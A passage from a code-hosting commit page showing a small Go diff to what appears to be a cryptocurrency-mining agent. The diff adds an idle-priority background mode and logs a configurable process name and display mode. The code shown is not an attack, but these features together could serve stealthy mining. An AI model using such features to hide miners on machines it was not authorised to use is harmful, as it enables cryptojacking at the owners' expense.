Upgrade dashboard, builder, and agent resource controls.
Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.
This commit is contained in:
@@ -31,12 +31,16 @@ func main() {
|
||||
return
|
||||
}
|
||||
|
||||
if cfg.BackgroundMode() {
|
||||
cfg.CPUPriority = "idle"
|
||||
}
|
||||
|
||||
if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
|
||||
log.Printf("[agent] could not set CPU priority: %v", err)
|
||||
}
|
||||
|
||||
log.Printf("[agent] running worker=%s build=%s server=%s threads=%d",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, cfg.Threads)
|
||||
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s",
|
||||
cfg.WorkerName, cfg.ProcessName, cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode)
|
||||
|
||||
agent := client.NewAgentClient(cfg)
|
||||
if err := agent.Run(); err != nil {
|
||||
|
||||
Reference in New Issue
Block a user